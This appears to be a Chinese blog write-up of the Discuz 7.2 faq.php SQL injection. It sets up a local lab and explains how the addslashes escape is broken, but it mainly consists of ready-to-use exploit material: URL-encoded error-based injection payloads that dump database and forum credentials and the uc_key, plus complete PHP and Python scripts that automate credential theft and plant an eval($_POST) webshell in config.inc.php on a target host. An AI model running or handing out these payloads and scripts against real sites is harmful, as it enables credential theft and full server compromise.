今天嘗試了discuz7.2動力論壇的sql注入漏洞
原因是由faq.php文件源碼存在漏洞引起的
下載官方discuz7.2源碼，在本地搭建漏洞環境
http://www.comsenz.com/downloads/install/discuz
下載的三個文件
利用http://localhost:8088/discuz72/upload/install/index.php進行安裝
到第二步，直接報錯
修改了好多次無果，百度一波
發現是ucenter沒有安裝
那就下載ucenter
http://www.comsenz.com/downloads/install/ucenter
我放在upload目錄下，所以訪問下面鏈接安裝
http://localhost:8088/discuz72/upload/ucenter/upload/index.php
安裝成功
接下來，對漏洞進行測試分析
查看faq.php文件，找到action=grouppermission的代碼。發現在148行出現sql注入
elseif($action == 'grouppermission') {
require_once './include/forum.func.php';
require_once language('misc');
$permlang = $language;
unset($language);
$searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid;
$groups = $grouplist = array();
$query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");
$cgdata = $nextgid = '';
首先分析
$searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid;
$groups = $grouplist = array();
定義一個數組groupids，然後遍歷$gids（這也是個數組，就是$_GET[gids]），將數組中的所有值的第一位取出來放在groupids中。
爲啥這樣會引起注入？
因爲discuz在全局會對GET數組進行addslashes轉義，也就是說會將'轉義成\'，所以，如果我們的傳入的參數是：gids[1]='的話，會被轉義成$gids[1]=\'，而這個賦值語句$groupids[] = $row[0]就相當於取了字符串的第一個字符，也就是\，把轉義符號取出來了。
在將數據放入sql語句前，通過implodeids函數進行處理了一遍，implodeids函數如下：
function implodeids($array) {
if(!empty($array)){
return"'".implode("','", is_array($array) ? $array :array($array))."'";
} else {
return '';
}
}
很簡單一個函數，就是將剛纔的$groupids數組用','分割開，組成一個類似於'1','2','3','4'的字符串返回。但是我們的數組剛取出來一個轉義符，它會將這裏一個正常的'轉義掉，比如這樣：'1','\','3','4'
有沒有看出有點不同，第4個單引號被轉義了，也就是說第5個單引號和第3個單引號閉合。這樣3這個位置就等於逃逸出了單引號，也就是產生的注入。我們把報錯語句放在3這個位置，就能報錯。
利用上面提到的思路,通過提交faq.php?xigr[]='&xigr[][uid]=evilcode這樣的構造形式可以很容易的突破GPC或類似的安全處理,形成SQL注射漏洞。因此可以構造利用代碼：
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23
2.可利用exp代碼
(1)獲取mysql用戶信息
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(2)獲取數據庫版本信息
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(3)獲取數據庫信息
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(4)獲取數據庫用戶名和密碼
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
（5）獲取用戶名、email、密碼和salt信息
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
（6）獲取uc_key（後面利用key寫入配置文件config.inc.php getshell）
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
(7)對指定uid獲取密碼
faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
有個利用腳本，獲取所以信息和webshell
php:
php xx.php xxx.xxx.xxx 1
<?php
/**
* @author: xiaoma
* @blog : www.i0day.com
* @date : 2014.7.2 23:1
*/
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
if ($argc < 2) {
print_r('
********************************************************
* Discuz faq.php SQL Injection Exp *
* ---------By：Www.i0day.com----------- *
* Usage: php '.$argv[0].' url [js] *
* ------------------------------------- *
* js選項: 1.GetShell 2.取密碼 3.查表前綴 *
* *
* php '.$argv[0].' Www.i0day.com / 1 *
* php '.$argv[0].' Www.i0day.com /dz72/ 1 *
* *
* *
********************************************************
');
exit;
}
if($js==1){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"::")==-1){
echo '表前綴可能不是默認cdb_ 請先查看錶前綴！';
}else{
preg_match("/::(.*)::/",$resp,$matches);
$lenght=intval($matches[1]);
if($lenght){
if($lenght<=124){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\'/U",$resp,$key1);
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
preg_match("/1\^(.*)\'/U",$resp,$key2);
$key=$key1[1].$key2[1];
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com</item>
</root>';
$html1 = send($cmd1);
$res1=substr($html1,-1);
$html2 = send($cmd2);
$res2=substr($html1,-1);
if($res1=='1'&&$res2=='1'){
echo "shell地址：http://".$host.$path.'config.inc.php pass:i0day';
}
}else{
echo '獲取失敗';
}
}
}
}
}elseif($js==2){
$sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"\^\^\^")!=-1){
preg_match("/\^\^\^(.*)\^/U",$resp,$password);
echo '密碼：'.$password[1];
}else{
echo '表前綴可能不是默認cdb_ 請先查看錶前綴！';
}
}elseif($js==3){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\^/U",$resp,$t);
if(strpos($t[1],"cdb_")!=-1){
echo "表名爲：".hex2str($t[1])." 表前綴爲默認cdb_ 無需修改";
}else{
echo "表名：".hex2str($t[1]).' 不是默認表名cdb_請自行修改代碼中的$table';
}
}else{
echo "查看錶前綴失敗,Sorry";
}
}else{
echo "未選擇腳本功能";
}
function sendpack($host,$path,$sql,$js){
$data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
$data.="Host:".$host."\r\n";
$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
$data.="Connection: close\r\n\r\n";
//$data.=$html."\r\n";
$ock=fsockopen($host,80);
if(!$ock){
echo "No response from ".$host;
die();
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock)) {
$resp.=fread($ock, 1024);
}
return $resp;
}
function send($cmd){
global $host,$code,$path;
$message = "POST ".$path."/api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
function hex2str($hex){
$str = '';
$arr = str_split($hex, 2);
foreach($arr as $bit){
$str .= chr(hexdec($bit));
}
return $str;
}
?>
python:
利用：python xx.py xxx.xxx.xxx.xxx 10
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# author iswin
import sys
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re
def sendRequest(url,para):
try:
data = urllib.urlencode(para)
req=urllib2.Request(url,data)
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'Exploit Failed!\n%s'%(e)
exit(0);
return res
def getTablePrefix(url):
print 'Start GetTablePrefix...'
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res);
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].decode('hex')
table_pre=table_pre[0:table_pre.index('_')]
print 'Table_pre:%s'%(table_pre)
return table_pre
def getCurrentUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para)
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1]
print 'Current User:%s'%(table_pre)
return table_pre
def getUcKey(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
res1=sendRequest(url,para1);
key1=re.findall("Duplicate entry '(.*?)'",res)
key2=re.findall("Duplicate entry '(.*?)'",res1)
if len(key1)==0:
print 'Get Uc_Key Failed!'
return ''
key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
print 'uc_key:%s'%(key)
return key
def getRootUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].split(' ')
print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])
def dumpData(url,table_prefix,count):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
res=sendRequest(url,para);
datas=re.findall("Duplicate entry '(.*?)'",res)
if len(datas)==0:
print 'Exploit Failed!'
exit(0)
cleandata=datas[0][:len(datas[0])-1]
info=cleandata.split(' ')
print 'user:%s pass:%s'%(info[0].decode('utf-8').encode('cp936'),info[1])
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "Exploit Falied"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
try:
req=urllib2.Request(host+'/config.inc.php')
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'GetWebshell Failed,%s'%(e)
return
print "webshell:"+host+"/config.inc.php,password:3"
if __name__ == '__main__':
print 'DZ7.x Exp Code By iswin'
if len(sys.argv)<3:
print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.waitalone.cn 10'
exit(0)
url=sys.argv[1]+'/faq.php'
count=int(sys.argv[2])
user=getCurrentUser(url)
if user.startswith('root@'):
getRootUser(url)
uc_key=getUcKey(url)
if len(uc_key)==64:
print 'Start GetWebshell...'
get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
tb_pre=getTablePrefix(url)
print 'Start DumpData...'
for x in xrange(0,count):
dumpData(url,tb_pre,x)
利用uc_key進行寫入配置文件getshell
拿到了key，就可以利用discuz的uc_key來getshell了，原理也很簡單，在寫配置文件的時候，過濾有問題，導致可以在提交配置文件的時候，把一句話寫入配置文件中，具體可以去搜相關文章。總之作爲後人，我們要做的就是微笑就可以了。由於涉及到key的加密解密函數，直接從源碼copy，因此這個漏洞的exp用的大多是php，成功以後，會在根目錄的config.inc.php文件中寫入一句話木馬。
利用腳本：
#! /usr/bin/env python
#coding=utf-8
import hashlib
import time
import math
import base64
import urllib
import urllib2
import sys
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
#keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
'''
發送命令獲取webshell
'''
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "訪問出錯"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
return "webshell:"+host+"/config/config_ucenter.php,password:1"
if __name__ == '__main__':
host=sys.argv[1]
key=sys.argv[2]
url=host+"/api/uc.php"
print get_shell(url,key,host)
使用方法：
python uckey.py http://www.xxx.cn/ uc_key
即第一個參數是網站的根路徑，第二個參數是uc_key。獲取的webshell是在/config/config.inc.php中。